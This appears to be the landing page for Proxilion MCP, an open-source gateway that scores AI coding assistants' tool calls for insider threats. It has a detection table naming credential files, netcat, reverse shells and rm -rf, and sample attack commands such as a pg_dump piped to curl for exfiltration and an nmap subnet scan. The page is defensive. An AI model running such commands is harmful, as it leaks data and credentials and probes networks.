GitHub
MCP Security Gateway

Proxilion MCP

Detect Insider Threats in AI Coding Assistants

Real-time threat analysis for Claude Code, Cursor, Copilot, and Windsurf. Detect credential harvesting, data exfiltration, and attack chains before they execute.

24
Threat Analyzers
<50ms
P95 Latency
358
Tests Passing
MIT
Licensed

How It Works

Proxilion sits between AI assistants and MCP servers, analyzing every tool call before execution.

AI Assistant (Claude Code, Copilot, Cursor)



Proxilion Gateway (analyzes tool call, <50ms)



Decision: Allow | Alert | Block | Terminate



MCP Server executes (or rejects) the tool call

Pattern-Based Detection

22 analyzers detect credential harvesting, network reconnaissance, exfiltration attempts, hacking tools, and more.

Session Correlation

Track multi-phase attack chains across hours and days. Individual requests might look benign; patterns reveal intent.

Kill Chain Tracking

Detect attack progressions: Reconnaissance → Credential Access → Exfiltration. Terminate before damage.

Custom Policy DSL

TOML-based rules, allowlists, and blocklists. Security teams define policies; Proxilion enforces them.

Prometheus Metrics

Export metrics to Prometheus. Pre-built Grafana dashboards for threat scores, latency, and detection rates.

Redis Session Store

Production-ready session state with Redis. Track user sessions across restarts and scale horizontally.

24 Threat Analyzers

Pattern-based and session-aware analyzers running in parallel on every request.

Category What It Detects Examples
Enumeration Network reconnaissance and scanning nmap, masscan, port scanning
Credential Access Attempts to read sensitive files .env, SSH keys, AWS credentials, /etc/shadow
Exfiltration Data leaving the network curl to external IPs, pastebin uploads, netcat
Hacking Tools Known offensive security tools metasploit, hashcat, mimikatz, sqlmap
Privilege Escalation Attempts to gain higher access sudo abuse, SUID binaries, IAM changes
Lateral Movement Moving across internal network SSH pivoting, RDP, internal network scans
Persistence Establishing persistent access cron jobs, systemd services, backdoors
Command & Control C2 communication patterns reverse shells, Cobalt Strike, beaconing
Impact Destructive operations rm -rf, database drops, file encryption
Session Progression Multi-phase attack chains Recon → Access → Exfil patterns

Real-World Scenarios

How Proxilion detects and prevents attacks in production.

Database Exfiltration Prevented

Employee gives notice. Monday morning, they ask Claude Code to "help back up the customer database."

pg_dump production_db | gzip | curl -F "file=@-" https://personal-bucket
Score: 96 - TERMINATE. Session killed. Security alerted. Account disabled.

Compromised Account Contained

Attacker gains access via phishing, uses Claude Code to "scan the infrastructure."

nmap -sV 10.0.0.0/24 -p 22,80,443,3306,5432
Score: 88 - BLOCK. Reconnaissance prevented. Breach contained.

Legitimate Admin Work Allowed

DevOps engineer during incident response checks if SSH is running on backup server.

ssh user@backup-server.internal systemctl status sshd
Score: 40 - ALLOW. No false positive. Legitimate work continues.

Multi-Phase Attack Detected

Attacker spreads requests across 9 hours to avoid detection.

10:00 AM: nmap scan (85)
2:30 PM: cat .env (70)
6:45 PM: curl pastebin (65)
Session Progression: 3 phases detected. Composite: 96 - TERMINATE.

Operational Modes

Start in monitor mode, graduate to block as you tune thresholds.

Mode Score < 50 Score 50-69 Score 70-89 Score ≥ 90
monitor Allow + Log Allow + Log Allow + Log Allow + Log
alert Allow Allow + Alert Allow + Alert Allow + Alert
block Allow Alert Block Block
terminate Allow Alert Block Block + Kill Session

Built with Rust

Memory-safe, zero-cost abstractions, fearless concurrency.

Memory Safety

The gateway cannot become an attack vector. No buffer overflows or use-after-free vulnerabilities.

Zero-Cost Abstractions

Pattern matching and regex compilation happen at compile time. No runtime overhead.

Fearless Concurrency

Thread-safe session state tracking without locks. Process thousands of requests per second.

Predictable Latency

No garbage collection pauses. Consistent <50ms P95 latency under load.

Single Binary

No dependencies, no runtime. Build once, deploy anywhere. Docker or bare metal.

10,000+ req/sec

Single instance handles enterprise traffic. Scale horizontally with shared Redis.

Self-Hosted Only

Your AI tool execution logs contain proprietary information. They never leave your infrastructure.

Docker Compose

Single-server deployment for 10-100 users. Up and running in 5 minutes.

Kubernetes

HA deployment for 100-10,000 users. Manifests included. Scale with HPA.

Auditable

Source code is open. Security teams can review, audit, and modify analyzers for your threat model.

Secure Your AI Coding Assistants

Open source. Self-hosted. Deploy in minutes.

View on GitHub